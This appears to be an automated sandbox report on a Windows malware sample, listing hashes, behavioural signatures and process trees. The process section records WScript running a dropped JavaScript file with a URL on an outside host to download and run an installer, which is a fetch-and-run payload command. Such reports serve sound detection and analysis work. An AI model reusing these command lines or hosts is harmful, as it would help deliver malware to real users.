Analysis
-
max time kernel
100s -
max time network
90s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12/06/2024, 18:18
Static task
static1
Behavioral task
behavioral1
Sample
a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
-
Target
a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe
-
Size
184KB
-
MD5
a1b38688f0af233fb4942d681698e059
-
SHA1
92881da9fd120d3f7185910c5de8858d6e242833
-
SHA256
58fbfa02167ba953913bc189fda27db2c53fb4e4372a97851bccc2996d461de3
-
SHA512
22aadb07faa3c529e8e97d3aa9ff56f51e76d117bbb43ba5fa793e8270e1f6d020b4289ee1db5e914e9bb33198ce48a5b57d341d2424b43a73dd1abaea94f737
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndn1
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2152 wrote to memory of 3760 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 81 PID 2152 wrote to memory of 3760 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 81 PID 2152 wrote to memory of 3760 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 81 PID 2152 wrote to memory of 2740 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 87 PID 2152 wrote to memory of 2740 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 87 PID 2152 wrote to memory of 2740 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 87 PID 2152 wrote to memory of 1636 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 93 PID 2152 wrote to memory of 1636 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 93 PID 2152 wrote to memory of 1636 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 93 PID 2152 wrote to memory of 1004 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 94 PID 2152 wrote to memory of 1004 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 94 PID 2152 wrote to memory of 1004 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 94 PID 2152 wrote to memory of 4744 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 95 PID 2152 wrote to memory of 4744 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 95 PID 2152 wrote to memory of 4744 2152 a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a1b38688f0af233fb4942d681698e059_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2152 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe2⤵PID:3760
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe2⤵PID:2740
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe2⤵PID:1636
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe2⤵PID:1004
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=aRirCBhISH.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe2⤵PID:4744
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76